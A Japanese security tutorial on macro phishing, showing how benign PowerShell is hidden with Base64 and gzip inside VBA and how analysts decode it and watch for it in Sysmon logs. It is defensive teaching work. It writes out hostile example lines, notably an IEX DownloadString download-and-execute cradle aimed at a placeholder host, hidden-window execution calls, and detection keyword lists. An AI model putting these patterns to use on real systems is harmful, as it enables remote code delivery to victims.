メインコンテンツまでスキップ

VBAマクロ型フィッシングとPowerShell難読化を安全に理解する

要旨

ExcelやWordのマクロを悪用したフィッシングでは、文書内で「マクロを有効化してください」と誘導し、ユーザー操作をきっかけにVBAからPowerShellを起動する手口が使われることがあります。

このとき、PowerShellのコードはそのまま書かれるとは限りません。Base64、文字列分割、gzip圧縮などを使って隠され、VBA上ではただの長い文字列に見えることがあります。解析者は、表示されているマクロだけで判断せず、実行される文字列を復元し、PowerShellのエンコード層を順番に剥がす必要があります。

この記事では、外部通信やダウンロードを行わない安全なサンプルを使い、次の点を整理します。

  • VBAマクロからPowerShellが呼び出される基本構造
  • -EncodedCommand の意味
  • PowerShellコードをBase64化する流れ
  • gzip Base64のような追加難読化の考え方
  • 解析者として逆順にデコードする手順
  • 外部通信を開始しようとしているPowerShellコードの見極め方
  • SysmonやPowerShellログで確認する観点

この記事のコードサンプルは学習用です。外部通信、ファイルダウンロード、認証情報取得、永続化、セキュリティ設定変更は行いません。

この記事で扱う範囲

この記事の目的は、マクロ型フィッシングの構造を理解し、防御・解析・教育に役立てることです。

扱うこと:

  • 安全なPowerShellサンプルのエンコード
  • 実行しないVBAサンプル
  • Base64とgzipの復元手順
  • 不審なPowerShellコマンドの読み方
  • ログ確認の観点

扱わないこと:

  • 実在する攻撃コード
  • 実在するC2ドメインやURL
  • 外部通信を行う実行可能なマクロ
  • ダウンロードや追加ペイロード実行の手順
  • 検知回避や防御機能の無効化

1. マクロ型フィッシングの基本構造

マクロ型フィッシングの典型的な流れは次の通りです。

  1. ユーザーがExcelまたはWordファイルを開く
  2. 文書内で「コンテンツの有効化」「マクロの有効化」を促される
  3. VBAマクロが実行される
  4. VBAがPowerShellなどの外部プロセスを起動する
  5. PowerShellが難読化されたコードを復元する
  6. 復元されたコードが通信、追加処理、情報収集などを試みる

利用者から見ると、文書が一瞬止まるだけ、あるいは何も起きていないように見えることがあります。しかし裏側では、OfficeプロセスからPowerShellが起動されている可能性があります。

技術者がまず見るべきなのは、VBAがどのプロセスを起動しようとしているかです。次のような文字列やAPIが出てくる場合は注意します。

CreateObject("WScript.Shell")
WScript.Shell.Run
Shell
powershell.exe
cmd.exe
mshta.exe
wscript.exe
cscript.exe
rundll32.exe
regsvr32.exe

特に、OfficeプロセスからPowerShellを起動し、さらに -EncodedCommand-WindowStyle Hidden が組み合わさる場合は、優先的に確認すべきシグナルです。

2. なぜVBAからPowerShellを呼び出すのか

VBAはOffice文書内で動きます。一方、PowerShellはWindows環境の管理や自動化に使われる強力なシェルです。

攻撃者は、VBAを最初の起動装置として使い、実際の処理をPowerShellに任せることがあります。VBA側では長い文字列を組み立て、最後にそれを実行する形がよく見られます。

概念的には次のような形です。

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

ここで重要なのは、<Base64文字列> の中にPowerShellスクリプトが隠されている点です。

PowerShellの -EncodedCommand は、防御側から見れば解析対象の入口です。VBA上でURLやドメインが見えなくても、Base64を復元した先に通信処理が含まれていることがあります。

3. PowerShell起動オプションの読み方

不審なマクロを読むときは、PowerShellの起動オプションを先に理解しておくと判断しやすくなります。

オプション意味解析時の見方
-NoProfile / -nopPowerShellプロファイルを読み込まない環境差を減らして実行したい意図
-WindowStyle Hidden / -w hiddenウィンドウを非表示にする利用者に気付かれにくくする意図
-EncodedCommand / -enc / -eBase64化されたコマンドを実行する難読化されたPowerShellがある
-ExecutionPolicy Bypass実行ポリシーを回避する組織の制御を避けたい意図が疑われる
-NonInteractive対話なしで実行するバックグラウンド実行向け

たとえば次のような起動形は、マクロ型フィッシングでよく警戒される組み合わせです。

powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ...

短縮形では次のように見えることもあります。

powershell -nop -w hidden -e ...

ここで -e-EncodedCommand の省略形として使われることがあります。後続の文字列をBase64として確認します。

4. 安全なPowerShellサンプル

以降では、外部通信を行わない安全なPowerShellコードを使います。

このサンプルは、ユーザーの一時フォルダに学習用のテキストファイルを作るだけです。

$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"

このコードは、次のような動作をしません。

  • 外部サイトへの通信
  • ファイルのダウンロード
  • 追加スクリプトの実行
  • 認証情報の取得
  • 永続化
  • セキュリティ設定の変更

学習や研修では、このような無害な処理に置き換えて構造だけを理解するのが安全です。

5. PowerShellコードをBase64化する

PowerShellの -EncodedCommand に渡す文字列は、通常、PowerShellスクリプトをUTF-16LEのバイト列に変換し、それをBase64化したものです。

安全なサンプルをBase64化する例は次の通りです。

$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)

$encoded

重要なのは次の行です。

[System.Text.Encoding]::Unicode.GetBytes($script)

PowerShellにおける Unicode は、ここではUTF-16LEを意味します。そのため、解析時もBase64をデコードした後、UTF-16LEとして読む必要があります。

Base64化された文字列は、次のようなコマンドに組み込まれます。

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

この時点では、文字列を見ただけでは中のPowerShellコードが何をするか分かりません。

5.1. このサンプルのBase64文字列

前節の安全なPowerShellサンプルをUTF-16LEとしてBase64化すると、次の文字列になります。

JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==

これをコマンドラインに入れると、構造としては次のようになります。

powershell.exe -NoProfile -EncodedCommand JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==

このコマンドも学習用であり、実行しても一時フォルダにテキストファイルを作るだけです。ただし、未知の検体では同じ形のコマンドを絶対に直接実行せず、先にデコードして内容を確認します。

5.2. 標準コマンドで再現する

macOS/Linuxでは、printficonvbase64 を使って同じBase64文字列を作れます。

printf '%s\n' \
'$Message = "training-only macro analysis sample"' \
'$Path = Join-Path $env:TEMP "macro-training-sample.txt"' \
'Set-Content -Path $Path -Value $Message -Encoding UTF8' \
'Write-Output "Wrote training marker to $Path"' \
| iconv -f UTF-8 -t UTF-16LE \
| base64 \
| tr -d '\n'

ポイントは、PowerShellの -EncodedCommand に合わせてUTF-16LEへ変換してからBase64化することです。

Windows PowerShellだけで同じ処理を行う場合は、次のようにします。

$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script))

6. VBAマクロに埋め込む安全な例

実際の悪性マクロでは、VBAがPowerShellを実行します。しかし研修や記事では、実行可能な形にする必要はありません。

次の例は、PowerShellコマンドを組み立てて表示するだけです。実行はしません。

Sub Training_Macro_Does_Not_Execute()
Dim encoded As String
Dim cmd As String

' 学習用。前節のBase64文字列を分割して入れる。
encoded = ""
encoded = encoded & "JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQ"
encoded = encoded & "B0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAi"
encoded = encoded & "AAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAF"
encoded = encoded & "UAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA=="

cmd = "powershell.exe -NoProfile -EncodedCommand " & encoded

' 安全のため実行せず、内容を表示するだけ。
MsgBox cmd
End Sub

悪性マクロでは、最後が次のような実行行に置き換わっていることがあります。

CreateObject("WScript.Shell").Run cmd

または次のような形です。

Shell cmd, vbHide

解析者は、このような行を見つけたら「どの変数が実行されるのか」を追います。上の例であれば、調べるべき対象は cmd です。

7. マクロを有効化すると何が起きるか

ユーザーがマクロを有効化すると、VBAコードが実行されます。悪性文書の場合、裏側で次のような処理が進むことがあります。

  1. VBAが分割された文字列を連結する
  2. powershell.exe を含むコマンドラインを作る
  3. WScript.Shell.RunShell でPowerShellを起動する
  4. -EncodedCommand のBase64がPowerShell側で復元される
  5. 復元されたPowerShellがさらに別のBase64や圧縮データを展開する
  6. 最終段階で外部通信や追加処理が行われる

ここで注意したいのは、VBA上で見える文字列が最終的な処理内容とは限らないことです。

表面上のVBAは単なるラッパーであり、実際に確認すべきコードは、Base64を復元した先や、さらに圧縮を展開した先にあることがあります。

8. 順番に難読化する手順

ここでは、攻撃者が使う代表的な隠し方を、安全なサンプルで順番に確認します。

8.1. 平文のPowerShellを書く

まず、外部通信をしない安全なPowerShellコードを用意します。

$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"

8.2. UTF-16LEとしてBase64化する

$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)

8.3. PowerShell起動コマンドに入れる

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

8.4. VBAで文字列を分割する

VBAでは、長いBase64文字列を分割して連結することがあります。

encoded = encoded & "<Base64 part 1>"
encoded = encoded & "<Base64 part 2>"
encoded = encoded & "<Base64 part 3>"

この分割により、単純な目視や文字列検索では中身を把握しにくくなります。

8.5. gzip圧縮を追加する

より複雑なケースでは、内側のテキストをgzip圧縮し、その圧縮バイト列をBase64化することがあります。

安全なテキストをgzip Base64にする例です。

$text = @'
This is a training-only inner payload.
No network access.
No download.
No execution.
'@

$inputBytes = [System.Text.Encoding]::UTF8.GetBytes($text)

$ms = New-Object System.IO.MemoryStream
$gzip = New-Object System.IO.Compression.GZipStream(
$ms,
[System.IO.Compression.CompressionMode]::Compress
)

$gzip.Write($inputBytes, 0, $inputBytes.Length)
$gzip.Close()

$gzipBase64 = [Convert]::ToBase64String($ms.ToArray())
$gzipBase64

このようにして作られた文字列は、Base64を戻しただけでは読めません。Base64デコード後にgzip展開が必要です。

このサンプルテキストを gzip -n 相当で圧縮し、Base64化した例は次の通りです。

H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA

macOS/Linuxの標準コマンドで同じ文字列を作るには、次のようにします。

printf '%s\n' \
'This is a training-only inner payload.' \
'No network access.' \
'No download.' \
'No execution.' \
| gzip -n -c \
| base64 \
| tr -d '\n'

gzip -n は、元ファイル名や時刻情報をgzipヘッダに入れないための指定です。gzipヘッダのメタデータが違うとBase64文字列は変わりますが、展開後の本文が同じであれば解析上の意味は同じです。

9. 解析者として逆順にデコードする

ここからは、解析者の立場で難読化を剥がす手順を見ます。

9.1. VBA内の実行対象を特定する

まず、VBA内で実行に使われる変数を探します。

cmd = "powershell.exe ..."
CreateObject("WScript.Shell").Run cmd

この場合、cmd の中身が実行対象です。

別の変数名が使われることもあります。重要なのは、最後に RunShell に渡される値を追うことです。

9.2. 分割された文字列を連結する

次のような連結処理があれば、順番通りに復元します。

encoded = encoded & "AAAA"
encoded = encoded & "BBBB"
encoded = encoded & "CCCC"

復元後は次のようになります。

AAAABBBBCCCC

VBAの文字列連結では、&+ が使われます。行継続文字 _ が使われる場合もあります。

9.3. -EncodedCommand の後ろを取り出す

復元したコマンドが次のように始まる場合、-EncodedCommand の後ろにある文字列を取り出します。

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

短縮形も確認します。

powershell -nop -w hidden -e <Base64文字列>

-e-enc-EncodedCommand は、後続にBase64化されたPowerShellがあることを示します。

9.4. Base64をUTF-16LEとしてデコードする

安全な解析用コードです。

$encoded = "<ここにBase64文字列を入れる>"

$bytes = [Convert]::FromBase64String($encoded)
$decoded = [System.Text.Encoding]::Unicode.GetString($bytes)

$decoded

文字化けする場合は、エンコーディングの違いや、Base64文字列の切り出しミスを疑います。

PowerShellの -EncodedCommand であれば、まずUTF-16LEとして読むのが基本です。

macOSでコマンドラインから復元する場合は、base64 -Diconv を使います。

printf '%s' 'JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==' \
| base64 -D \
| iconv -f UTF-16LE -t UTF-8

Linuxでは base64 -d を使う環境が一般的です。

printf '%s' 'JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==' \
| base64 -d \
| iconv -f UTF-16LE -t UTF-8

復元結果は、冒頭で示した安全なPowerShellサンプルになります。

9.5. 復元コード内の追加難読化を探す

復元されたPowerShellの中で、次のような文字列を探します。

FromBase64String
GZipStream
DeflateStream
MemoryStream
ReadToEnd
Invoke-Expression
IEX
DownloadString
Invoke-WebRequest
Invoke-RestMethod

たとえば次の構造があれば、もう一段階の埋め込みデータがある可能性があります。

[Convert]::FromBase64String("<long string>")

さらに次のような名前が出てくる場合、そのBase64は圧縮データかもしれません。

System.IO.Compression.GZipStream
CompressionMode]::Decompress

9.6. gzip Base64を展開する

gzip Base64を安全に展開するサンプルです。

$gzipBase64 = "<ここにgzipされたBase64文字列を入れる>"

$compressedBytes = [Convert]::FromBase64String($gzipBase64)

$inputStream = New-Object System.IO.MemoryStream(,$compressedBytes)
$gzipStream = New-Object System.IO.Compression.GZipStream(
$inputStream,
[System.IO.Compression.CompressionMode]::Decompress
)

$reader = New-Object System.IO.StreamReader($gzipStream)
$plainText = $reader.ReadToEnd()

$plainText

ここまでで、内側に隠されていたテキストが読めるようになります。外部通信先、パス、User-Agent、API名、プロセス名などは、この段階で見つかることがあります。

前節のgzip Base64サンプルをmacOSで展開する場合は、次の通りです。

printf '%s' 'H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA' \
| base64 -D \
| gzip -dc

Linuxでは次のようにします。

printf '%s' 'H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA' \
| base64 -d \
| gzip -dc

復元される内容は次の通りです。

This is a training-only inner payload.
No network access.
No download.
No execution.

10. 外部通信を始めるコードを見極める

復元したPowerShellの中で、次のような要素が出てきたら外部通信の可能性を確認します。

10.1. URLやドメイン

https://example.invalid/path
api.example.invalid
cdn.example.invalid

学習や検証では、実在する第三者ドメインではなく、example.invalidtest.invalid のような安全な例示用ドメインを使います。

10.2. Invoke-WebRequest

Invoke-WebRequest -Uri "https://example.invalid/ping"

HTTP/HTTPS通信を行うPowerShell標準コマンドレットです。ファイル取得、疎通確認、外部送信などに使われることがあります。

10.3. Invoke-RestMethod

Invoke-RestMethod -Uri "https://example.invalid/api"

API通信に使われます。JSONを扱う処理と一緒に出てくることがあります。

10.4. WebClient

$wc = New-Object System.Net.WebClient
$wc.DownloadString("https://example.invalid/stage.txt")

DownloadString は、指定URLから文字列を取得します。悪性コードでは、追加スクリプト取得に使われることがあります。

特に次のような形は危険度が高い読み方になります。

IEX (New-Object Net.WebClient).DownloadString("https://example.invalid/a.ps1")

これは「URLから取得した文字列をPowerShellコードとして実行する」という意味です。

10.5. HttpClient

$client = [System.Net.Http.HttpClient]::new()
$client.GetAsync("https://example.invalid/")

.NETのHTTPクライアントを直接使う例です。PowerShellの通信コマンドレットではなく.NET APIを使うことで、単純な文字列検索から逃れようとするケースもあります。

11. 通信以外にも見るべき危険サイン

PowerShell解析では、通信だけを見ればよいわけではありません。次のような文字列やAPIも確認します。

文字列・API意味
Start-Process別プロセスの起動
New-Object WScript.ShellWindows Script Host経由の操作
schtasksタスクスケジューラ操作
HKCU:\Software\Microsoft\Windows\CurrentVersion\Runログオン時自動実行の設定箇所
Add-MpPreferenceMicrosoft Defender除外設定の変更
Set-MpPreferenceMicrosoft Defender設定変更
rundll32DLL実行
regsvr32COM登録やスクリプトレット実行
bitsadminBITS経由の転送
certutil -decodeBase64デコードやファイル処理
IEX / Invoke-Expression文字列をコードとして実行

これらは管理作業でも使われることがあります。単語が出てきたから即悪性とは限りません。

ただし、OfficeプロセスからPowerShellが起動され、非表示実行、Base64、通信、文字列実行が組み合わさる場合は、優先度を上げて確認します。

12. ログで確認する観点

静的解析で「このような処理をしそうだ」と分かっても、実際に何が起きたかはログで確認します。

代表的な確認ポイントは次の通りです。

ログ見る内容
Sysmon Event ID 1プロセス作成
Sysmon Event ID 3ネットワーク接続
Sysmon Event ID 11ファイル作成
Sysmon Event ID 22DNSクエリ
PowerShell Operational LogPowerShell実行内容
Script Block Logging復元後のスクリプト内容

OfficeからPowerShellが起動された場合、Sysmon Event ID 1で次のような親子関係が見えることがあります。

ParentImage: EXCEL.EXE
Image: powershell.exe
CommandLine: powershell.exe -NoProfile -EncodedCommand ...

DNS通信があれば、Sysmon Event ID 22で問い合わせ先のドメインを確認できる場合があります。

Image: powershell.exe
QueryName: example.invalid

静的解析で見つけたURLやドメインと、実行時ログのDNS・通信イベントを突き合わせることで、単なる埋め込み文字列なのか、実際に使われた通信先なのかを判断しやすくなります。

13. 解析チェックリスト

VBAマクロ型の不審文書を解析する際は、次の順番で確認します。

  1. VBAコード全体を抽出する
  2. ShellWScript.ShellCreateObject を探す
  3. 実行される文字列変数を特定する
  4. 分割された文字列を順番に連結する
  5. powershell.execmd.exemshta.exewscript.exe の呼び出しを確認する
  6. -EncodedCommand-e-enc を探す
  7. Base64をUTF-16LEとしてデコードする
  8. 復元コード内の FromBase64StringGZipStream を探す
  9. 必要に応じてBase64デコード・gzip展開を行う
  10. URL、ドメイン、IPアドレス、User-Agent、API文字列を抽出する
  11. Invoke-WebRequestDownloadStringHttpClient などの通信処理を確認する
  12. SysmonやPowerShellログと照合する

作業時は、解析対象を直接実行しないことが前提です。実行検証が必要な場合は、隔離された解析環境、スナップショット、通信制御、ログ取得設定を用意します。

14. 防御側の検知ポイント

組織内で検知ルールを作る場合、次の組み合わせは重要です。

Officeプロセス
-> powershell.exe
-> -EncodedCommand

代表的な親子関係です。

WINWORD.EXE -> powershell.exe
EXCEL.EXE -> powershell.exe
POWERPNT.EXE -> powershell.exe
OUTLOOK.EXE -> powershell.exe

さらに、PowerShellのコマンドラインに次の要素が含まれていれば、調査優先度を上げます。

-EncodedCommand
-WindowStyle Hidden
-ExecutionPolicy Bypass
FromBase64String
GZipStream
DownloadString
Invoke-WebRequest
Invoke-RestMethod
IEX

単独では正当な管理作業でも使われる可能性があります。しかし、Officeプロセスから起動され、非表示実行やエンコード実行が組み合わさる場合は、マクロ型フィッシングの疑いが強くなります。

15. 利用者向けの注意喚起

技術的な検知だけでなく、利用者教育も重要です。

利用者には、次の点を伝えます。

  • メール添付のOffice文書でマクロ有効化を求められたら警戒する
  • 「請求書」「配送通知」「賞与」「緊急対応」など、焦らせる文言に注意する
  • 送信元が知っている相手でも、文面や添付ファイルに違和感があれば確認する
  • マクロ有効化が業務上本当に必要か確認する
  • 不審な文書を開いた場合は、自己判断で削除せず管理者やSOCに連絡する

利用者に伝えるべき核心は、「マクロを有効化することは、文書に含まれるプログラムを実行すること」だという点です。

まとめ

VBAマクロ型フィッシングでは、VBA上に明確なURLやドメインが見えないことがあります。PowerShellの -EncodedCommand、Base64、gzip圧縮などにより、実際の処理内容が複数の層に隠されるためです。

解析では、見えているVBAだけで判断せず、次の順番で層を剥がします。

VBA
-> PowerShell起動コマンド
-> EncodedCommandのBase64
-> UTF-16LE PowerShell
-> 内側のBase64
-> gzip展開
-> URL・ドメイン・通信処理の確認

防御側は、OfficeからPowerShellが起動される親子関係、-EncodedCommand、非表示実行、外部通信系コマンドの組み合わせを重点的に監視します。

利用者教育では、「マクロ有効化は文書閲覧ではなくコード実行である」と伝えることが出発点です。技術的な検知と利用者教育を組み合わせることで、マクロ型フィッシングの被害を早期に抑えやすくなります。